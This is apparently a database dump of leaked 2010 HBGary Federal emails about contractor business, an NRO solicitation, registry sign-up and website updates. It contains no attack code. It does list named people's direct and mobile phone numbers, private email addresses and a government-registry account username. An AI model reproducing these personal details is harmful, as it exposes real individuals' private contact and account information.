Date: 07/29/10 02:34:00',3132,'aaron_hbgary_com/3132.html'),(9325,'2010-07-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007161.M394922P14101Q4180.eml','\"Daniel Ingevaldson\" <dsi@endgames.us>','Re: call','Hey dan,\r\n\r\nWe have a customer that is interested collectively in our products.\r\nDo you have time to talk today?\r\n\r\nAaron\r\n\r\nOn Wednesday, June 23, 2010, Daniel Ingevaldson  wrote:\r\n> Aaron, what phone number should we use to reach you?\r\n>\r\n> -d\r\n>\r\n> ---------------------------------\r\n> Daniel S. Ingevaldson, COO\r\n> Endgame Systems, LLC\r\n> dsi@endgames.us\r\n> (w)404-781-2955\r\n> (f)404-781-2951\r\n> (m)404-992-9449\r\n>\r\n>\r\n\r\n-- \r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n719.510.8478\r\n',13137,'aaron_hbgary_com/13137.html'),(9326,'2010-07-30','\"William Luti\" <wluti@digitalmanagement.com>','/aaron@hbgary.com/new/1297007161.M630950P14101Q4181.eml','\"Aaron Barr\" <aaron@hbgary.com>','Meeting','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nGood to talk to you. Glad the\r\nconference went well.\r\n\r\n&nbsp;\r\n\r\nWe&#8217;ve scheduled a\r\nmeeting with Ken for Tuesday, 3 August at 9:30am here in Bethesda. This is just\r\na heads up as Ken is working another Coast Guard bid so it may change to later\r\nin the week. But for now we can meet with him on the 3rd. \r\n\r\n&nbsp;\r\n\r\nI&#8217;d suggest if you have\r\nthe time we stick around after and talk with John Fanguy on TSA as well.\r\n\r\n&nbsp;\r\n\r\nPlease let me know if this\r\nworks and we look forward to the discussion,\r\n\r\n&nbsp;\r\n\r\nBest,\r\n\r\n&nbsp;\r\n\r\nBill\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7686,'aaron_hbgary_com/7686.html'),(9327,'2010-07-30','\"AFCEA NOVA Group Members\" <group-digests@linkedin.com>','/aaron@hbgary.com/new/1297007161.M828169P14101Q4182.eml','\"Aaron Barr\" <aaron@hbgary.com>','From Staci Redmon, PMP, MBA and other AFCEA NOVA group members on LinkedIn','\r\n\r\n  \r\n  \r\n    Linkedin GroupsJuly 30, 2010\r\n    AFCEA NOVA\r\n    \r\n        Latest:\r\n\r\n            &bull;\r\n\r\n\r\n            &bull;\r\n\r\n             1 Job\r\n        \r\n\r\n    \r\n\r\n    \r\n\r\n\r\n\r\n\r\n\r\n\r\n   Job Discussions (1)\r\n       \r\n         \r\n           Contract Closeout Specialist (CS) and Procurement Clerk opportunities available in Washington, DC.  Great salaries and outstanding benefits!\r\n           Add a comment  &raquo;\r\n\r\n         Posted by Staci Redmon, PMP, MBA, President &amp; CEO, Strategy and Management Services, Inc. (SAMS)\r\n       \r\n   \r\n     \r\n       \r\n         Find the best talent on LinkedIn\r\n         \r\n           Reach over 70 million top professionals\r\n           Be alerted to good matches automatically\r\n           Receive on average 30 applicants\r\n         \r\n         Get Started &raquo;\r\n       \r\n     \r\n   \r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.\r\nStop inappropriate content the moment it is posted. Send me an email for each new discussion &#187;\r\n&nbsp;\r\n\r\n\r\n',16358,'aaron_hbgary_com/16358.html'),(9328,'2010-07-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007162.M333815P14101Q4184.eml','\"Ted Vera\" <ted@hbgary.com>','','(770) 906-3283\r\nGA, USA\r\n\r\nSent from my iPhone\r\n',10735,'aaron_hbgary_com/10735.html'),(9329,'2010-07-30','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297007162.M48996P14101Q4183.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','guava','http://www.securelist.com/en/blog/272/Myrtus_and_Guava_Episode_3\r\n',1790,'aaron_hbgary_com/1790.html'),(9330,'2010-07-30','\"Michael Schell\" <mschell@us.ibm.com>','/aaron@hbgary.com/new/1297007162.M629985P14101Q4185.eml','\"Aaron Barr\" <aaron@hbgary.com>','Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n            Michael Schell has indicated you are a person they\'ve done business with at IBM Internet Security Systems:\r\n\r\n  \r\n    I\'d like to add you to my professional network on LinkedIn.\r\n\r\n\r\n\r\n- Michael Schell\r\n  \r\n\r\n  &nbsp;\r\n\r\n   \r\n     \r\n         \r\n           Accept\r\n         \r\n          \r\n               View invitation from Michael Schell\r\n         \r\n     \r\n   \r\n\r\n   \r\n   &nbsp;\r\n   \r\n   DID YOU KNOW you can showcase your professional knowledge on LinkedIn to receive job/consulting offers and enhance your professional reputation? Posting replies to questions on LinkedIn Answers puts you in front of the world\'s professional community. \r\n  &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',6155,'aaron_hbgary_com/6155.html'),(9331,'2010-07-30','\"MB Toth\" <mbt.rbtoth@gmail.com>','/aaron@hbgary.com/new/1297007170.M368050P14101Q4186.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <adbarr@me.com>,tedvera@me.com','NRO Director\'s Innovation Initiative','Aaron, Ted,Not sure if you&#39;ve seen the attached BAA, which you can access at https://dii.westfields.net/Just on quick review, there seem to be some interesting opportunities with regard to video game technologies and security capabilities that may be in your area of interest.\r\nLet me know when you might be free for lunch in August, Aaron!Enjoy the summer,\r\nMike\r\n#avg_ls_inline_popup {  position:absolute;  z-index:9999;  padding: 0px 0px;  margin-left: 0px;  margin-top: 0px;  width: 240px;  overflow: hidden;  word-wrap: break-word;  color: black;  font-size: 10px;  text-align: left;  line-height: 13px;}\r\n',11957,'aaron_hbgary_com/11957.html'),(9332,'2010-07-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007174.M643500P14101Q4187.eml','\"Chris Collins\" <chris@tipodean.com>,\"Chris Collins\" <chris@tipodean.com>','Government BAA','Hi Chris,\r\n\r\nNot sure if you\'ve already seen this, but the NRO released a BAA\r\n(attached) that has some serious gaming / virtual world elements to\r\nit:\r\n\r\n•	Use of virtual worlds to enhance any element of NRO operations,\r\ne.g., mission planning, system scheduling, data processing,\r\nintelligence product development, distribution and collaboration.\r\n\r\nTed\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',9636,'aaron_hbgary_com/9636.html'),(9333,'2010-07-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007174.M988559P14101Q4188.eml','\"MB Toth\" <mbt.rbtoth@gmail.com>,\"MB Toth\" <mbt.rbtoth@gmail.com>,,','Re: NRO Director\'s Innovation Initiative','Thanks Mike, I hadn\'t see this.  Hope you have a nice weekend.\r\n\r\nTed\r\n\r\nOn Fri, Jul 30, 2010 at 3:07 PM, MB Toth  wrote:\r\n> Aaron, Ted,\r\n>\r\n> Not sure if you\'ve seen the attached BAA, which you can access at\r\n> https://dii.westfields.net/\r\n>\r\n> Just on quick review, there seem to be some interesting opportunities with\r\n> regard to video game technologies and security capabilities that may be in\r\n> your area of interest.\r\n>\r\n> Let me know when you might be free for lunch in August, Aaron!\r\n>\r\n> Enjoy the summer,\r\n>\r\n> Mike\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',11666,'aaron_hbgary_com/11666.html'),(9334,'2010-07-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007175.M194686P14101Q4189.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','End Games','Hi Maria,\r\n\r\nI just got off the phone with EndGames.  I\'ll have the pricing Monday.\r\n\r\nHope you have a nice weekend,\r\nTed\r\n',9821,'aaron_hbgary_com/9821.html'),(9335,'2010-07-30','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007175.M407182P14101Q4190.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: End Games','Great thanks\r\nOn Fri, Jul 30, 2010 at 2:26 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nHi Maria,I just got off the phone with EndGames.  I&#39;ll have the pricing Monday.Hope you have a nice weekend,\r\nTed-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n',9790,'aaron_hbgary_com/9790.html'),(9336,'2010-07-30','\"MB Toth\" <mbt.rbtoth@gmail.com>','/aaron@hbgary.com/new/1297007175.M624850P14101Q4191.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,','Re: NRO Director\'s Innovation Initiative','Ted,I found this on the IC Acquisition Research Center.  I&#39;m registered there and review it regularly for these types of activities that aren&#39;t solicited on the usual sites.  This includes both an unclassified and classified site, with solicitation information hosted on one or the other (rarely both).  \r\nI don&#39;t see HB Gary listed on the IC ARC contractor registry, which might be worth doing.  I haven&#39;t gotten any contacts directly from the registry, but do go in and check the classified ARC every week or so, and the unclas more often.  They have a facility in Colorado Springs. You can register at https://arc.westfields.net/, or just let me now if you need some help.\r\nEnjoy your weekend too!MikeOn Fri, Jul 30, 2010 at 5:22 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nThanks Mike, I hadn&#39;t see this.  Hope you have a nice weekend.\r\n\r\nTed\r\n\r\nOn Fri, Jul 30, 2010 at 3:07 PM, MB Toth &lt;mbt.rbtoth@gmail.com&gt; wrote:\r\n&gt; Aaron, Ted,\r\n&gt;\r\n&gt; Not sure if you&#39;ve seen the attached BAA, which you can access at\r\n&gt; https://dii.westfields.net/\r\n&gt;\r\n&gt; Just on quick review, there seem to be some interesting opportunities with\r\n&gt; regard to video game technologies and security capabilities that may be in\r\n&gt; your area of interest.\r\n&gt;\r\n&gt; Let me know when you might be free for lunch in August, Aaron!\r\n&gt;\r\n&gt; Enjoy the summer,\r\n&gt;\r\n&gt; Mike\r\n&gt;\r\n&gt;\r\n\r\n\r\n\r\n--\r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n#avg_ls_inline_popup {  position:absolute;  z-index:9999;  padding: 0px 0px;  margin-left: 0px;  margin-top: 0px;  width: 240px;  overflow: hidden;  word-wrap: break-word;  color: black;  font-size: 10px;  text-align: left;  line-height: 13px;}\r\n',5181,'aaron_hbgary_com/5181.html'),(9337,'2010-07-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007175.M833700P14101Q4192.eml','\"Steven P Winterfeld\" <steven.winterfeld@TASC.COM>','','\r\n110210010000000\r\n',9176,'aaron_hbgary_com/9176.html'),(9338,'2010-07-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007176.M286250P14101Q4194.eml','\"MB Toth\" <mbt.rbtoth@gmail.com>,\"MB Toth\" <mbt.rbtoth@gmail.com>,,','Re: NRO Director\'s Innovation Initiative','Excellent, thanks Mike!  I just registered HBGary.\r\n\r\nOn Fri, Jul 30, 2010 at 4:13 PM, MB Toth  wrote:\r\n> Ted,\r\n>\r\n> I found this on the IC Acquisition Research Center.  I\'m registered there\r\n> and review it regularly for these types of activities that aren\'t solicited\r\n> on the usual sites.  This includes both an unclassified and classified site,\r\n> with solicitation information hosted on one or the other (rarely both).\r\n>\r\n> I don\'t see HB Gary listed on the IC ARC contractor registry, which might be\r\n> worth doing.  I haven\'t gotten any contacts directly from the registry, but\r\n> do go in and check the classified ARC every week or so, and the unclas more\r\n> often.  They have a facility in Colorado Springs. You can register at\r\n> https://arc.westfields.net/, or just let me now if you need some help.\r\n>\r\n> Enjoy your weekend too!\r\n>\r\n> Mike\r\n>\r\n> On Fri, Jul 30, 2010 at 5:22 PM, Ted Vera  wrote:\r\n>>\r\n>> Thanks Mike, I hadn\'t see this.  Hope you have a nice weekend.\r\n>>\r\n>> Ted\r\n>>\r\n>> On Fri, Jul 30, 2010 at 3:07 PM, MB Toth  wrote:\r\n>> > Aaron, Ted,\r\n>> >\r\n>> > Not sure if you\'ve seen the attached BAA, which you can access at\r\n>> > https://dii.westfields.net/\r\n>> >\r\n>> > Just on quick review, there seem to be some interesting opportunities\r\n>> > with\r\n>> > regard to video game technologies and security capabilities that may be\r\n>> > in\r\n>> > your area of interest.\r\n>> >\r\n>> > Let me know when you might be free for lunch in August, Aaron!\r\n>> >\r\n>> > Enjoy the summer,\r\n>> >\r\n>> > Mike\r\n>> >\r\n>> >\r\n>>\r\n>>\r\n>>\r\n>> --\r\n>> Ted Vera  |  President  |  HBGary Federal\r\n>> Office 916-459-4727x118  | Mobile 719-237-8623\r\n>> www.hbgary.com  |  ted@hbgary.com\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',1215,'aaron_hbgary_com/1215.html'),(9339,'2010-07-30','arc@westfields.net','/aaron@hbgary.com/new/1297007176.M58219P14101Q4193.eml','aaron@hbgary.com','Welcome to the ARC Contractor Registry','\r\nWelcome to the ARC Contractor Registry.\r\nYour company has been added as the newest ARC Contractor Registry member.  Your entry is listed as HBGary Federal LLC located in Colorado Springs, CO.\r\nPOCs associated with this account will receive unclassified ARC email notifications regarding new acquisitions, ARC websites, and NRO-wide activities.  You may opt out of these notifications for each individual POC associated with your company at any time.\r\nIt is important that you maintain your company and POC information in our database to maximize the benefits of the Contractor Registry for your company.\r\n\r\nYour company information will be uploaded to the CWAN ARC in the next few days and will then be visible there.\r\nYour company account username for logging in to the unclassified ARC and editing your information is the following.\r\n\r\n\r\n	Username:		HBGar2677\r\n\r\n\r\nPlease note that only the PRIMARY POC for this contractor registry listing will receive emails concerning profile and password changes for this acount.  However, you may share the company account username and password with any POC within your company as your organization\'s policies and needs dictate.\r\n\r\nYou should only use this company account when you need to edit your company\'s profile or POC information or just want to view the Contractor Registry.  Otherwise, you should use your individual user account to navigate through the ARC.  If you do not already have an individual account, you may at any time.\r\n\r\n\r\n\r\n\r\nSincerely,ARC Webteam\r\n\r\n',11165,'aaron_hbgary_com/11165.html'),(9340,'2010-07-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007176.M597166P14101Q4195.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','IC ARC','I just registered HBGary with an IC business opportunity site, kinda\r\nlike fedbizopps:\r\nhttps://arc.westfields.net\r\n\r\nUsername is:  HBGar2677\r\n\r\nI\'ll send the password via text\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',10963,'aaron_hbgary_com/10963.html'),(9341,'2010-07-30','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297007176.M792515P14101Q4196.eml','aaron@hbgary.com','Fwd: Abstract for Talk - Healthcare','\r\n---------- Forwarded message ----------From: Greg Hoglund &lt;greg@hbgary.com&gt;Date: Fri, Jul 30, 2010 at 4:53 PM\r\nSubject: Abstract for Talk - HealthcareTo: Brian.Buckley@ic.fbi.govCc: penny@hbgary.com, Karen Burke &lt;karen@hbgary.com&gt;, chark@hbgary.com\r\n\r\n \r\nBrian,\r\nHere is my talk abstract.\r\n-Greg\r\n--- snip --&gt;\r\nCyber-Crash and Bleed \r\nAnatomy of a Cyber Terrorist Attack on the Nations Hospital Infrastructure  The Healthcare Industry, while embracing technology to increase productivity, has not yet embraced sound computer security practices.  HIPAA compliance is not sufficient to protect a Hospital from cyber attack.  Hospitals in particular are at great risk not just because they store personal identifiable information, but also because they rely upon technology to keep people alive.  Health care centers represent a form of critical infrastructure that can easily be disrupted by a cyber terrorism attack.  Hoglund illustrates how a widespread terrorist attack would affect the Nation&#39;s healthcare capability, and discusses how Hospitals need to reinvent how they secure their networks against attack. \r\n\r\n',11088,'aaron_hbgary_com/11088.html'),(9342,'2010-07-31','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007177.M14151P14101Q4197.eml','Cdpeace@nsa.gov','Number','Cheryl,\r\n\r\nSorry to bother you but do you have a minute to talk.  I don\'t have\r\nyour number handy.  It will only take moment, but I have some\r\ninformation for you.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal\r\n7195108478\r\n\r\n-- \r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n719.510.8478\r\n',3841,'aaron_hbgary_com/3841.html'),(9343,'2010-07-31','aaron@hbgary.com','/aaron@hbgary.com/new/1297007181.M265364P14101Q4198.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Can u put this up on the website please','\r\n\r\n',5898,'aaron_hbgary_com/5898.html'),(9344,'2010-07-31','aaron@hbgary.com','/aaron@hbgary.com/new/1297007190.M253798P14101Q4199.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','This one too','But highlight more the social media one.\r\n\r\nTks\r\n\r\n',11839,'aaron_hbgary_com/11839.html'),(9345,'2010-07-31','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297007190.M630515P14101Q4200.eml','aaron@hbgary.com,aaron@hbgary.com','Re: Can u put this up on the website please','the federal one?\r\n\r\nOn 07/30/2010 08:06 PM, aaron@hbgary.com wrote:\r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> Sent from my iPad\r\n',2057,'aaron_hbgary_com/2057.html'),(9346,'2010-07-31','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007190.M948725P14101Q4201.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Re: Can u put this up on the website please','Both.\r\n\r\nSent from my iPad\r\n\r\nOn Jul 30, 2010, at 7:09 PM, Mark Trynor  wrote:\r\n\r\n> the federal one?\r\n> \r\n> On 07/30/2010 08:06 PM, aaron@hbgary.com wrote:\r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> Sent from my iPad\r\n',1836,'aaron_hbgary_com/1836.html'),(9347,'2010-07-31','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007191.M491064P14101Q4202.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Re: Can u put this up on the website please','I talked to Greg.\r\n\r\nSent from my iPad\r\n\r\nOn Jul 30, 2010, at 7:09 PM, Mark Trynor  wrote:\r\n\r\n> the federal one?\r\n> \r\n> On 07/30/2010 08:06 PM, aaron@hbgary.com wrote:\r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> Sent from my iPad\r\n',4697,'aaron_hbgary_com/4697.html'),(9348,'2010-07-31','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297007191.M694828P14101Q4203.eml','\"Aaron barr\" <aaron@hbgary.com>,\"Aaron barr\" <aaron@hbgary.com>','Re: Can u put this up on the website please','No one can see the federal one\r\n\r\nOn 07/30/2010 08:11 PM, Aaron barr wrote:\r\n> Both.\r\n> \r\n> Sent from my iPad\r\n> \r\n> On Jul 30, 2010, at 7:09 PM, Mark Trynor  wrote:\r\n> \r\n>> the federal one?\r\n>>\r\n>> On 07/30/2010 08:06 PM, aaron@hbgary.com wrote:\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>> Sent from my iPad\r\n',15568,'aaron_hbgary_com/15568.html'),(9349,'2010-07-31','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297007191.M905329P14101Q4204.eml','\"Aaron barr\" <aaron@hbgary.com>,\"Aaron barr\" <aaron@hbgary.com>','Re: Can u put this up on the website please','What did you guys talk about?\r\n\r\nOn 07/30/2010 08:12 PM, Aaron barr wrote:\r\n> I talked to Greg.\r\n> \r\n> Sent from my iPad\r\n> \r\n> On Jul 30, 2010, at 7:09 PM, Mark Trynor  wrote:\r\n> \r\n>> the federal one?\r\n>>\r\n>> On 07/30/2010 08:06 PM, aaron@hbgary.com wrote:\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>> Sent from my iPad\r\n',7013,'aaron_hbgary_com/7013.html'),(9350,'2010-07-31','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297007192.M128963P14101Q4205.eml','aaron@hbgary.com,aaron@hbgary.com','Re: This one too','So then you want the social media link bolder?\r\n\r\nOn 07/30/2010 08:06 PM, aaron@hbgary.com wrote:\r\n> But highlight more the social media one.\r\n> \r\n> Tks\r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> Sent from my iPad\r\n',2215,'aaron_hbgary_com/2215.html'),(9351,'2010-07-31','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007192.M380419P14101Q4206.eml','\"Mark Trynor\" <mark@hbgary.com>','Re: Can u put this up on the website please','U\r\n\r\nSent from my iPad\r\n\r\nOn Jul 30, 2010, at 7:13 PM, Mark Trynor  wrote:\r\n\r\n> What did you guys talk about?\r\n> \r\n> On 07/30/2010 08:12 PM, Aaron barr wrote:\r\n>> I talked to Greg.\r\n>> \r\n>> Sent from my iPad\r\n>> \r\n>> On Jul 30, 2010, at 7:09 PM, Mark Trynor  wrote:\r\n>> \r\n>>> the federal one?\r\n>>> \r\n>>> On 07/30/2010 08:06 PM, aaron@hbgary.com wrote:\r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> Sent from my iPad\r\n',5599,'aaron_hbgary_com/5599.html'),(9352,'2010-07-31','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007192.M652900P14101Q4207.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Re: This one too','I want it to blink\r\n\r\nSent from my iPad\r\n\r\nOn Jul 30, 2010, at 7:13 PM, Mark Trynor  wrote:\r\n\r\n> So then you want the social media link bolder?\r\n> \r\n> On 07/30/2010 08:06 PM, aaron@hbgary.com wrote:\r\n>> But highlight more the social media one.\r\n>> \r\n>> Tks\r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> Sent from my iPad\r\n',9522,'aaron_hbgary_com/9522.html'),(9353,'2010-07-31','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297007192.M856113P14101Q4208.eml','\"Aaron barr\" <aaron@hbgary.com>','Re: Can u put this up on the website please','OH NOES!!!\r\n\r\nOn 07/30/2010 08:13 PM, Aaron barr wrote:\r\n> U\r\n> \r\n> Sent from my iPad\r\n> \r\n> On Jul 30, 2010, at 7:13 PM, Mark Trynor  wrote:\r\n> \r\n>> What did you guys talk about?\r\n>>\r\n>> On 07/30/2010 08:12 PM, Aaron barr wrote:\r\n>>> I talked to Greg.\r\n>>>\r\n>>> Sent from my iPad\r\n>>>\r\n>>> On Jul 30, 2010, at 7:09 PM, Mark Trynor  wrote:\r\n>>>\r\n>>>> the federal one?\r\n>>>>\r\n>>>> On 07/30/2010 08:06 PM, aaron@hbgary.com wrote:\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> Sent from my iPad\r\n',3205,'aaron_hbgary_com/3205.html'),(9354,'2010-07-31','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297007193.M104249P14101Q4209.eml','\"Aaron barr\" <aaron@hbgary.com>,\"Aaron barr\" <aaron@hbgary.com>','Re: This one too','That I can do.\r\n\r\nOn 07/30/2010 08:14 PM, Aaron barr wrote:\r\n> I want it to blink\r\n> \r\n> Sent from my iPad\r\n> \r\n> On Jul 30, 2010, at 7:13 PM, Mark Trynor  wrote:\r\n> \r\n>> So then you want the social media link bolder?\r\n>>\r\n>> On 07/30/2010 08:06 PM, aaron@hbgary.com wrote:\r\n>>> But highlight more the social media one.\r\n>>>\r\n>>> Tks\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>> Sent from my iPad\r\n',6476,'aaron_hbgary_com/6476.html'),(9355,'2010-07-31','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007193.M429688P14101Q4210.eml','\"Mark Trynor\" <mark@hbgary.com>','Re: This one too','I knew you could.  Blink and scroll.  Maybe put it in an animated gif.\r\n\r\nSent from my iPad\r\n\r\nOn Jul 30, 2010, at 7:15 PM, Mark Trynor  wrote:\r\n\r\n> That I can do.\r\n> \r\n> On 07/30/2010 08:14 PM, Aaron barr wrote:\r\n>> I want it to blink\r\n>> \r\n>> Sent from my iPad\r\n>> \r\n>> On Jul 30, 2010, at 7:13 PM, Mark Trynor  wrote:\r\n>> \r\n>>> So then you want the social media link bolder?\r\n>>> \r\n>>> On 07/30/2010 08:06 PM, aaron@hbgary.com wrote:\r\n>>>> But highlight more the social media one.\r\n>>>> \r\n>>>> Tks\r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> Sent from my iPad\r\n',9088,'aaron_hbgary_com/9088.html'),(9356,'2010-07-31','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297007193.M700206P14101Q4211.eml','\"Aaron barr\" <aaron@hbgary.com>','Re: This one too','I\'ll give it it\'s own dedicated domain name\r\n\r\nOn 07/30/2010 08:19 PM, Aaron barr wrote:\r\n> I knew you could.  Blink and scroll.  Maybe put it in an animated gif.\r\n> \r\n> Sent from my iPad\r\n> \r\n> On Jul 30, 2010, at 7:15 PM, Mark Trynor  wrote:\r\n> \r\n>> That I can do.\r\n>>\r\n>> On 07/30/2010 08:14 PM, Aaron barr wrote:\r\n>>> I want it to blink\r\n>>>\r\n>>> Sent from my iPad\r\n>>>\r\n>>> On Jul 30, 2010, at 7:13 PM, Mark Trynor  wrote:\r\n>>>\r\n>>>> So then you want the social media link bolder?\r\n>>>>\r\n>>>> On 07/30/2010 08:06 PM, aaron@hbgary.com wrote:\r\n>>>>> But highlight more the social media one.\r\n>>>>>\r\n>>>>> Tks\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> Sent from my iPad\r\n',126,'aaron_hbgary_com/126.html'),(9357,'2010-07-31','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007193.M915119P14101Q4212.eml','\"Mark Trynor\" <mark@hbgary.com>','Re: This one too','Righteous\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 30, 2010, at 7:20 PM, Mark Trynor  wrote:\r\n\r\n> I\'ll give it it\'s own dedicated domain name\r\n> \r\n> On 07/30/2010 08:19 PM, Aaron barr wrote:\r\n>> I knew you could.  Blink and scroll.  Maybe put it in an animated gif.\r\n>> \r\n>> Sent from my iPad\r\n>> \r\n>> On Jul 30, 2010, at 7:15 PM, Mark Trynor  wrote:\r\n>> \r\n>>> That I can do.\r\n>>> \r\n>>> On 07/30/2010 08:14 PM, Aaron barr wrote:\r\n>>>> I want it to blink\r\n>>>> \r\n>>>> Sent from my iPad\r\n>>>> \r\n>>>> On Jul 30, 2010, at 7:13 PM, Mark Trynor  wrote:\r\n>>>> \r\n>>>>> So then you want the social media link bolder?\r\n>>>>> \r\n>>>>> On 07/30/2010 08:06 PM, aaron@hbgary.com wrote:\r\n>>>>>> But highlight more the social media one.\r\n>>>>>> \r\n>>>>>> Tks\r\n>>>>>> \r\n>>>>>> \r\n>>>>>> \r\n>>>>>> \r\n>>>>>> \r\n>>>>>> \r\n>>>>>> \r\n>>>>>> Sent from my iPad\r\n',10484,'aaron_hbgary_com/10484.html'),(9358,'2010-07-31','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297007194.M120907P14101Q4213.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: This one too','I\'ve pushed them to the federal side and adding the links now.  The\r\nother side will have to wait \'til Mon cuz their stuffs all screwy bow\r\njangles.\r\n\r\nOn 07/30/2010 08:21 PM, Aaron Barr wrote:\r\n> Righteous\r\n> \r\n> Sent from my iPhone\r\n> \r\n> On Jul 30, 2010, at 7:20 PM, Mark Trynor  wrote:\r\n> \r\n>> I\'ll give it it\'s own dedicated domain name\r\n>>\r\n>> On 07/30/2010 08:19 PM, Aaron barr wrote:\r\n>>> I knew you could.  Blink and scroll.  Maybe put it in an animated gif.\r\n>>>\r\n>>> Sent from my iPad\r\n>>>\r\n>>> On Jul 30, 2010, at 7:15 PM, Mark Trynor  wrote:\r\n>>>\r\n>>>> That I can do.\r\n>>>>\r\n>>>> On 07/30/2010 08:14 PM, 